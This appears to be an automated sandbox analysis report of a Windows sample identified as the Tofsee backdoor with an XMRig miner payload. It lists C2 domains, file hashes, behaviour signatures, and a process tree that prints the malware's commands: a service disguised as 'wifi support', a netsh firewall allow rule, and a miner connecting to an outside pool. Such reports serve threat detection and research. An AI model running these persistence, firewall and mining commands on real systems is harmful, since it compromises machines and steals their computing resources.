Analysis

  • max time kernel
    150s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20221111-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20221111-enlocale:en-usos:windows10-2004-x64system
  • submitted
    15/11/2022, 17:36

General

  • Target
    file.exe
  • Size 193KB
  • Sample221115-v6kfcafa48
  • SHA256 0ab0d85ae51da8d93bc19256fc8e4ba64555250dda3f79e37ea9cb5d98267463
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • tofsee

C2
  • svartalfheim.top

  • jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:664
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\iqjrigwg\
      2⤵
        PID:5112
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\ujxuntps.exe" C:\Windows\SysWOW64\iqjrigwg\
        2⤵
          PID:4580
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create iqjrigwg binPath= "C:\Windows\SysWOW64\iqjrigwg\ujxuntps.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:4776
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description iqjrigwg "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:776
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start iqjrigwg
          2⤵
          • Launches sc.exe
          PID:3680
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:1880
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 664 -s 1036
          2⤵
          • Program crash
          PID:3532
      • C:\Windows\SysWOW64\iqjrigwg\ujxuntps.exe
        C:\Windows\SysWOW64\iqjrigwg\ujxuntps.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:228
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:3248
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:3400
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 228 -s 560
          2⤵
          • Program crash
          PID:528
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 460 -p 664 -ip 664
        1⤵
          PID:832
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 188 -p 228 -ip 228
          1⤵
            PID:3176

          Network

                MITRE ATT&CK Enterprise v6

                Replay Monitor

                Loading Replay Monitor...

                Downloads

                ujxuntps.exe

                • Path C:\Users\Admin\AppData\Local\Temp\ujxuntps.exe
                • Size 14.7MB
                • SHA256 821bbe9dec43a671c1609d83428f2e8d75cb9d0588194df76004c727802a6813
                • MD5 SHA1 SHA512 SSDEEP

                ujxuntps.exe

                • Path C:\Windows\SysWOW64\iqjrigwg\ujxuntps.exe
                • Size 14.7MB
                • SHA256 821bbe9dec43a671c1609d83428f2e8d75cb9d0588194df76004c727802a6813
                • MD5 SHA1 SHA512 SSDEEP

                memory/228-150-0x0000000000400000-0x0000000000595000-memory.dmp

                memory/228-149-0x0000000000873000-0x0000000000883000-memory.dmp

                memory/664-143-0x00000000008C9000-0x00000000008DA000-memory.dmp

                memory/664-133-0x00000000006F0000-0x0000000000703000-memory.dmp

                memory/664-135-0x0000000000400000-0x0000000000595000-memory.dmp

                memory/664-132-0x00000000008C9000-0x00000000008DA000-memory.dmp

                memory/664-144-0x0000000000400000-0x0000000000595000-memory.dmp

                memory/3248-146-0x00000000005E0000-0x00000000005F5000-memory.dmp

                memory/3248-168-0x00000000029E0000-0x00000000029E7000-memory.dmp

                memory/3248-165-0x0000000007380000-0x000000000778B000-memory.dmp

                memory/3248-162-0x00000000029D0000-0x00000000029D5000-memory.dmp

                memory/3248-159-0x0000000001B70000-0x0000000001B80000-memory.dmp

                memory/3248-151-0x00000000005E0000-0x00000000005F5000-memory.dmp

                memory/3248-152-0x00000000005E0000-0x00000000005F5000-memory.dmp

                memory/3248-153-0x0000000002400000-0x000000000260F000-memory.dmp

                memory/3248-156-0x0000000001B60000-0x0000000001B66000-memory.dmp

                memory/3400-172-0x0000000000710000-0x0000000000801000-memory.dmp

                memory/3400-177-0x0000000000710000-0x0000000000801000-memory.dmp